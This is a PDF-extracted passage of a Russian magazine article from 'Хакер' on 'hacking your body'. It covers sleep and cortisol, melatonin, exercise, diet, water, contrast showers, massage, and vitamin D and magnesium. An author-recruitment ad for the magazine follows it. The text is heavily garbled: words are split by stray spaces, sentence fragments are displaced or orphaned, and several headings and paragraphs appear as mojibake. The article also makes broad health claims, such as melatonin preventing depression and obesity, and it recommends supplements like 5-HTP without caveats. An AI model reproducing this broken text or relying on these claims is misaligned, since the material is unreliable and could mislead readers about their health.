дав ления, пищева рения, цик лов сна и бодрство вания.

ги пота ламо-гипофи зар но-над почеч- 
никовая ось ре гули рует

Миф о совах и жаворон ках сос лужил нам дур ную служ бу. Мы объ явля ем
свое наруше ние работы ГГН-оси частью сво ей иден тичнос ти и уха ем совой
до четырех утра, пос ле это го отсы паясь до обе да. Вот толь ко при таком гра- 
фике при дет ся забыть об энер гичнос ти, ров ном хорошем нас тро ении и кон- 
цен тра ции без кофе и дру гих сти муля торов.

В слу чае наруше ний, нап ример в ответ на хро ничес кий стресс, ГГН-ось
начина ет работать слиш ком активно, и у челове ка повыша ется сред ний уро- 
вень кор тизола. Вооб ще избы ток кор тизола гро зит мно жес твом неп рият ных
пос ледс твий, в том чис ле гипер тони ей, проб лемами с имму ните том и лиш ним
весом. А для темы сна важ но, что кор тизол может начать выделять ся в непод- 
ходящие момен ты дня. При нор маль ных усло виях уро вень кор тизола сни- 
жает ся до миниму ма к 19–20 часам, а мак симума дос тига ет в рай оне 7 утра,
отче го в теории иде аль ный сфе ричес кий человек в ваку уме про сыпа ется сам
без будиль ника.

Но у «сов» уро вень кор тизола, наобо рот, под нима ется к вечеру, и тог да
они наконец-то чувс тву ют бод рость и готов ность к активной жиз ни. И вот
вечером и ночью «сова» или человек с бес сонни цей занима ется сво ими
делами, затем рано или поз дно уста лость переси лива ет и человек засыпа ет.
Но из-за повышен ного кор тизола даже может, нем ного отдохнув, сно ва прос- 
нуть ся сре ди ночи и не мочь уснуть обратно.

Все это работа ет как уси лива ющая пет ля обратной свя зи: чем хуже ты
отды хаешь, тем боль ше стрес са, чем боль ше стрес са, тем хуже ты отды хаешь
и так далее. Поэто му нам нуж но работать со стрес сом через все дос тупные
каналы, важ ней ший из которых — сон.

ÊÀ×ÅÑÒÂÅÍÍÛÉ ÑÎÍ

На вер няка ты слы шал, что для засыпа ния челове ку нужен гор мон мелато нин.
Мелато нин не толь ко помога ет спать, но и пре дот вра щает стресс, деп- 
рессию, ожи рение, повышен ное дав ление, к тому же улуч шает имму нитет.

• Ме лато нин и лиш ний вес
• Об зоры иссле дова ний о про тиво вос палитель ной и анти окси дан тной роли

мелато нина
• Ме лато нин и воз рас тные изме нения сер дца
• Ме лато нин и кро вяное дав ление
• Ме лато нин и пси хичес кое здо ровье

Вы деле ние мелато нина зависит от уров ня осве щен ности — чем свет лее, тем
хуже он выраба тыва ется; при чем боль ше все го меша ет свет в сине-зеленой
час ти спек тра.

И даже если ты при мешь таб летку мелато нина, без тем ноты она не сра- 
бота ет.

Иде аль но, если, ког да ты спишь, в ком нате будет пол ная тем нота. Да, даже
без огонь ков роуте ра и отсве тов неоно вой вывес ки «Пиво» от ларь ка
под окном. Понять, что такое пол ная тем нота, лег ко: твои откры тые гла за
видят то же самое, что и зак рытые, — то есть ничего, HEX 000000.

А пос коль ку в нашей цивили зации ночь идет в ком плек те с ули цей,
фонарем и круг лосуточ ной апте кой, тебе при годят ся блэ каут-што ры, а для
стоп роцен тной тем ноты — мас ка для сна.

Си ний свет  и .по дав ляет выработ ку мелато нина уси лива ет проб лемы со сном

Да, пару-трой ку дней при дет ся при выкать ко сну в мас ке, зато потом при выч- 
ка зарабо тает в обратную сто рону и ты нач нешь быс тро засыпать, едва надев
мас ку. Выбирай мас ку с углубле нием для глаз, она ком фор тнее все го и поч ти
не меша ет.

Осо бен но мас ка поможет тем, кто еще не наладил свой режим, так что
боль шая часть сна пока что при ходит ся на све товой день.

Не забывай и о том, что спать луч ше в тихой и хорошо про вет ренной ком- 
нате, опти маль ная тем перату ра воз духа для сна — не выше 23 °С.

Пе ред сном луч ше все го отка зать ся от голубых экра нов, ярко го све та
и воз бужда ющих мозг игр и сери алов, посиде лок с алко голем, а так же нап- 
ряжен ной работы. Гораз до луч ше подой дет чте ние, про гул ка и спо кой ные
хоб би. При этом сле ди, что бы свет был неяр кий и в жел той час ти спек тра.

Итак, что меша ет качес твен но спать:
свет;•
ку рение;•
ал коголь;•
ко феин;•
не кото рые лекарс тва;•
пе рееда ние;•
шум;•
проб лемы с поз воноч ником;•
стресс;•
на руше ния режима;•
иг ры и филь мы перед сном;•
ак тивные занятия перед сном.•

Что поможет тебе спать луч ше:
маг ний перед сном;•
5-HTP (пред шес твен ник серото нина, который затем пре обра зует ся
в мелато нин) ;

•
пе ред сном

ме дита ция;•
пол ная тем нота;•
прох лада;•
све жий воз дух;•
про гул ка перед сном;•
теп лая ван на перед сном, осо бен но с суль фатом маг ния;•
лег кий ужин за нес коль ко часов до сна;•
пос тоян ный режим сна и бодрство вания, в том чис ле на выход ных.•

ÀÊÒÈÂÍÎÑÒÜ È ÑÈËÎÂÛÅ ÒÐÅÍÈÐÎÂÊÈ

Час от часу не лег че! Режим, спорт, толь ко про полез ное питание не хва тало.
Все вер но, даль ше будет и про питание, от него никуда не деть ся в этом раз- 
говоре.

Дви жение нас толь ко необ ходимо нашему телу и , что, что бы
перечис лить все про цес сы, которые ухуд шают ся без дви жения, — не хва тит
целой статьи. Увы, дви жение паль цев по трек паду недос таточ но наг ружа ет
мыш цы и не нор мализу ет лим фоток.

ра зуму

Я не пред лагаю занимать ся скан динав ской ходь бой в пар ке, да и все рав- 
но тебя пока не возь мут в прог рамму «Активное дол голетие». Зато сде лать
десяток при седа ний или прыж ков пару раз в день смо жет любой. Если ты сов- 
сем не спор тивный человек, нач ни с минималь ного дей ствия, пусть оно будет
казать ся даже слиш ком прос тым для тебя, но имен но так активность вой дет
в при выч ку. А даль ше пос тепен но захочет ся боль шего.

Для борь бы со стрес сом,  и  осо бен но полез ны
силовые тре ниров ки — они помога ют отра ботать накопив ший ся стресс
и поощ ряют нас выделе нием эндорфи нов, а так же улуч шают сон.

деп ресси ей тре вож ностью

, , 
 и .

Си ловые тре ниров ки сни жают тре вож ность по мога ют при ГТР ре комен- 
дуемы вра чами об легча ют сим пто мы деп рессии

ÅÄÀ

Ты — то, что ты ешь! Так что если ты не хочешь быть хруп ким, лип ким и с
газами, то забей на чип сы, сла дос ти и газиров ку. Твой нас тоящий бро — нут- 
ритив но плот ные про дук ты, то есть содер жащие как мож но 

 — витами нов, минера лов и ами нокис лот — на каж дую калорию.
боль ше мик ронут- 

риен тов
И если в этот момент у тебя в голове появи лись печаль ные обра зы

овсянки и куриной груд ки из при выч ного ПП (пра виль ного питания), спе шу
тебя обра довать. Груд ка не толь ко сухая и низ кокало рий ная, но и не слиш ком
удов летво ряющая для тво его орга низ ма.
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КАК ХАКНУТЬ СВОЙ ОРГАНИЗМ,
ЧТОБЫ ЖИТЬ ЛУЧШЕ

GEEK  НАЧАЛО СТАТЬИ←

Эта тема не так прос та, потому что если пог ружать ся в нее, то начина ют
играть роль усво яемость, биодос тупность, сов мести мость и даже несов- 
мести мость нут риен тов. Но в тво их силах исклю чить однознач но бес полез ные
и вред ные про дук ты и добавить полез ные.

Итак, про дук ты, богатые нут риен тами:
внут ренние орга ны живот ных, птичьи пот роха;•
тра вы и спе ции;•
зе лень;•
ово щи;•
се мена и оре хи;•
ры ба и мореп родук ты;•
мя со и пти ца;•
яй ца;•
мас ла;•
бо бовые;•
фрук ты.•

Поп робуй пару месяцев запол нять свою тарел ку имен но эти ми про дук тами
и пос мотри, как изме нит ся твое самочувс твие и энер гичность.

За меть, в спис ке нет круп, их мож но добав лять по оста точ ному прин ципу,
но уж точ но не брать за осно ву раци она. Кру пы и каши не нас толь ко полез ны
и необ ходимы, как счи тали наши бабуш ки. Ско рее они дешевы и дают
сытость в тяжелые вре мена.

Что есть не сто ит:
силь но обра ботан ную про дук цию (длин ный сос тав и мно го калорий);•
по луфаб рикаты, заморо жен ные и не толь ко;•
муч ные и кон дитер ские изде лия;•
са хар и сла дос ти;•
чип сы и дру гие сне ки, если они не похожи на мор ковку, стеб ли сель дерея
и тому подоб ные вещи.

•

Ду маю, ты и сам неп лохо догады ваешь ся, что такое полез ные натураль ные
про дук ты, а что такое вред ная еда. Оста лось толь ко перес тать обма нывать
себя и счи тать, что это дело вто рос тепен ное.

ÂÎÄÀ

Раз уж мы решили прой тись по про пис ным исти нам, нель зя не упо мянуть
воду! Пить дос таточ но воды важ но в том чис ле для моз га. Нех ватка жид кости
может ощу щать ся как уста лость, сла бость, подав ленность, раз дра житель- 
ность, ухуд шение памяти и кон цен тра ции.

Мно гие слы шали про нор му два-три лит ра воды в день, но эта рекомен- 
дация — типич ный слу чай, ког да жур налист  информа цию, получен- 
ную от уче ных, и иска жен ная вер сия пош ла в народ. Хлес тать воду боль шими
бутыля ми вов се не обя затель но!

не допо нял

Из этой нор мы нуж но вычитать жид кую пищу и напит ки, да и вооб ще —
сей час вра чи рекомен дуют пить по жаж де, глав ное — всег да иметь воду
под рукой.

Увы, мно гие из нас не раз лича ют чувс тво жаж ды и голода. Не осоз навая,
что хотят пить, люди без кон ца заг лядыва ют в холодиль ник, что бы что-то
пожевать, в то вре мя как орга низ му при ходит ся извле кать жал кие кап ли жид- 
кости из под сохших со вче ра кот лет. Если это твой слу чай, поп робуй, ког да
захоте лось переку сить, сна чала выпить ста кан воды.

Пос ле про буж дения выпивай ста кан-дру гой воды.•
Всег да носи с собой бутыл ку воды.•
Вы пивай ста кан воды за пол часа-час до еды.•
Пей, как толь ко чувс тву ешь жаж ду.•
Поп робуй пить воду вмес то переку са.•

ÊÎÍÒÐÀÑÒÍÛÉ ÄÓØ

Про кон трастный душ мы зна ем с самого детс тва — это неп ремен ный атри бут
чудако вато го деда-зож ника, который бега ет с голым тор сом до поз дней осе- 
ни, а зимой обти рает ся сне гом. Такой NPC спа унит ся в каж дом треть ем дво- 
ре на тер ритории СНГ, и его затей ливый скрипт дей стви тель но при носит ему

!поль зу

Че редо вание горячей и  воды помога ет улуч шить снаб жение кле ток
кис лородом и питатель ными вещес тва ми, улуч шает имму нитет, сти мули рует
выработ ку эндорфи нов, сни жает стресс, рас тво ряет пло хое нас тро ение
и .

хо лод ной

апа тию
На чина ем с теп лой воды ком фор тной тем перату ры, пос тепен но и плав но

добав ляем холод ной, затем перехо дим к горячей воде и обратно. Завер ши
душ холод ной водой и не увле кай ся: пяти-десяти минут будет более чем дос- 
таточ но!

Пом ни, что любая полез ная вещь, доведен ная до край нос ти, ста новит ся
опас ной, так что сигать в про рубь вслед за дедом не нуж но!

ÌÀÑÑÀÆ

Зву чит стран но, но мас саж помога ет при деп рессии и . До кон ца
неиз вес тно, как это работа ет, но почему бы и нет? Если у тебя нет вре мени
куда-то ездить, мас сажист может прий ти на дом со сво им рас клад ным сто- 
лом.

тре вож ности

Ну а если это сов сем не твоя исто рия, поп робуй осто рож но раз минать
пле чи и шею самос тоятель но, в том чис ле мыш цы у осно вания черепа.
Это сов сем не то же самое, что про фес сиональ ный мас саж все го тела,
но хоть что-то.

ÂÈÒÀÌÈÍÛ

Ко неч но, ответс твен ный человек дол жен пой ти к вра чу и сдать ана лиз
на дефици ты. Но если по какой-то при чине это невоз можно, рос сий ской
осенью и зимой ты  с витами ном D.не про гада ешь

Про необ ходимость витами на D для усво ения каль ция слы шали мно гие.
Более инте рес но, что нех ватка витами на D может быть свя зана с 

 и мно жес твом , вклю чая гипер тензию и ауто- 
иммунные заболе вания.

лиш ним
весом тя желых сос тояний

Для нас же глав ное, что при недос татке витами на D стра дает мен таль ное
здо ровье и нер вная сис тема.

• Ви тамин D и мен таль ное здо ровье
• Ви тамин D для борь бы с деп ресси ей и тре вож ностью
• Вли яние витами на D на ЦНС
• Вли яние витами на D на раз витие моз га и его работу во взрос лом воз- 

расте

Как получить витамин D:
про водить вре мя на сол нце;•
есть жир ную рыбу и мореп родук ты, рыбью печень и рыбий жир;•
есть гри бы, осо бен но лес ные, а не выращен ные на гриб ной фер ме;•
есть жел тки яиц;•
при нимать добав ки;•
ис поль зовать УФ-лам пу.•

Вто рой витамин для мен таль ного здо ровья — это маг ний. Ког да его недос- 
таточ но, это  все тот же зна комый спи сок проб лем: стресс, апа- 
тия, , тре вож ность. Не говоря уже о проб лемах с сер дцем, мыш- 
цами и кос тями.

про воци рует
деп рессия

Маг ний мож но получить из спе циаль ных витамин ных добавок либо
из пищи, такой как:

тем ный шоколад;•
аво кадо;•
оре хи и семена;•
цель нозер новые и бобовые куль туры;•
то фу;•
жир ная рыба;•
лис товая зелень (кейл, шпи нат, салат, мик розелень);•
ба наны.•

До бав ки с маг нием луч ше при нимать на ночь. А если на ночь захочет ся при- 
нять что-то еще — при ми ван ну с маг нием. «Англий скую» или «эпсом скую»
соль с маг нием лег ко най ти в апте ке или на мар кет плей сах.

ÊÀÊ ÂÍÅÄÐßÒÜ ÍÎÂÛÅ ÏÐÈÂÛ×ÊÈ

Воз можно, ты ска жешь, что все эти рекомен дации баналь ны и всем дав но
извес тны, но, к сожале нию, прос то знать их недос таточ но — нуж но еще и
регуляр но выпол нять.

Ес ли тебе вдруг захочет ся при менить  советы из этой статьи, пожалуй- 

ста, делай это дозиро ван но. Не пытай ся изме нить все свои при выч ки одним
махом с понедель ника. Даже ког да ты меня ешь свою рутину на более здо- 
ровую и полез ную, это тоже стресс для орга низ ма — нашу пси хику нап ряга ют
любые изме нения.

âñå

Вы бери одну-две вещи, которые ты хочешь внед рить в пер вую оче редь,
и скон цен три руй ся на них. Это изме нит твое сос тояние и даст тебе боль ше
сил для даль нейших улуч шений.

Глав ное — не пер воначаль ный заряд мотива ции, а регуляр ные малень кие
шаги. Чем про ще будет каж дое дей ствие на пути к цели, тем боль ше шан сов,
что ты сде лаешь его даже в самый тяжелый и уто митель ный день. К при меру,
если решил занять ся спор том, пока не ставь себе цель под готовить ся
к марафо ну, пос тавь цель прой тись все го пол часа пос ле работы. В какой-то
момент это ста нет слиш ком лег ко и тебе захочет ся сде лать про гул ку длин нее
или даже про бежать ся.

Удос товерив шись, что новые при выч ки при рос ли к тво ему обра зу жиз ни
как род ные, добав ляй еще пару новых по той же схе ме.

ÂÛÂÎÄÛ

Итак, мы узна ли, как под держи вать свое тело на мак сималь ном уров не здо- 
ровья и энер гии. Если статья най дет сво его читате ля, то я обя затель но вер- 
нусь со вто рой частью, где от под держа ния здо ровья тела мы перей дем
к здо ровью душев ному.

https://cs8.pikabu.ru/post_img/2016/06/24/9/1466781854132698956.png
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«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ
ÑÒÀÒÜÞ?
Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?
Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?
1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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